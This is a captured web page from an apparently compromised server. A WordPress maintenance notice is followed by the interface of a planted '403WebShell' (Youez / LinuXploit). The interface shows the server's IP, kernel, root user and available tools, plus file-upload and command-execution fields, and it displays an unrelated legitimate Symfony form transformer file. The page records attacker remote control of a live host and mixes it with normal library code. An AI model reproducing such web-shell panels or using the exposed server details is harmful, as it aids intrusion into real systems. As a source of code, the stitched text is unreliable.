WordPress

Briefly unavailable for scheduled maintenance.
Check back in a some hours.
403WebShell
403Webshell
Server IP : 38.242.244.58  /  Your IP : 216.73.216.252
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux vmi1486879.contaboserver.net 5.4.0-166-generic #183-Ubuntu SMP Mon Oct 2 11:28:33 UTC 2023 x86_64
User : root ( 0)
PHP Version : 7.4.3-4ubuntu2.19
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/sura/vendor/symfony/form/Extension/Core/DataTransformer/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/sura/vendor/symfony/form/Extension/Core/DataTransformer/WeekToArrayTransformer.php
<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Component\Form\Extension\Core\DataTransformer;

use Symfony\Component\Form\DataTransformerInterface;
use Symfony\Component\Form\Exception\TransformationFailedException;

/**
 * Transforms between an ISO 8601 week date string and an array.
 *
 * @author Damien Fayet <damienf1521@gmail.com>
 */
class WeekToArrayTransformer implements DataTransformerInterface
{
    /**
     * Transforms a string containing an ISO 8601 week date into an array.
     *
     * @param string|null $value A week date string
     *
     * @return array A value containing year and week
     *
     * @throws TransformationFailedException If the given value is not a string,
     *                                       or if the given value does not follow the right format
     */
    public function transform($value)
    {
        if (null === $value) {
            return ['year' => null, 'week' => null];
        }

        if (!\is_string($value)) {
            throw new TransformationFailedException(sprintf('Value is expected to be a string but was "%s".', \is_object($value) ? \get_class($value) : \gettype($value)));
        }

        if (0 === preg_match('/^(?P<year>\d{4})-W(?P<week>\d{2})$/', $value, $matches)) {
            throw new TransformationFailedException('Given data does not follow the date format "Y-\WW".');
        }

        return [
            'year' => (int) $matches['year'],
            'week' => (int) $matches['week'],
        ];
    }

    /**
     * Transforms an array into a week date string.
     *
     * @param array $value An array containing a year and a week number
     *
     * @return string|null A week date string following the format Y-\WW
     *
     * @throws TransformationFailedException If the given value can not be merged in a valid week date string,
     *                                       or if the obtained week date does not exists
     */
    public function reverseTransform($value)
    {
        if (null === $value || [] === $value) {
            return null;
        }

        if (!\is_array($value)) {
            throw new TransformationFailedException(sprintf('Value is expected to be an array, but was "%s".', \is_object($value) ? \get_class($value) : \gettype($value)));
        }

        if (!\array_key_exists('year', $value)) {
            throw new TransformationFailedException('Key "year" is missing.');
        }

        if (!\array_key_exists('week', $value)) {
            throw new TransformationFailedException('Key "week" is missing.');
        }

        if ($additionalKeys = array_diff(array_keys($value), ['year', 'week'])) {
            throw new TransformationFailedException(sprintf('Expected only keys "year" and "week" to be present, but also got ["%s"].', implode('", "', $additionalKeys)));
        }

        if (null === $value['year'] && null === $value['week']) {
            return null;
        }

        if (!\is_int($value['year'])) {
            throw new TransformationFailedException(sprintf('Year is expected to be an integer, but was "%s".', \is_object($value['year']) ? \get_class($value['year']) : \gettype($value['year'])));
        }

        if (!\is_int($value['week'])) {
            throw new TransformationFailedException(sprintf('Week is expected to be an integer, but was "%s".', \is_object($value['week']) ? \get_class($value['week']) : \gettype($value['week'])));
        }

        // The 28th December is always in the last week of the year
        if (date('W', strtotime('28th December '.$value['year'])) < $value['week']) {
            throw new TransformationFailedException(sprintf('Week "%d" does not exist for year "%d".', $value['week'], $value['year']));
        }

        return sprintf('%d-W%02d', $value['year'], $value['week']);
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit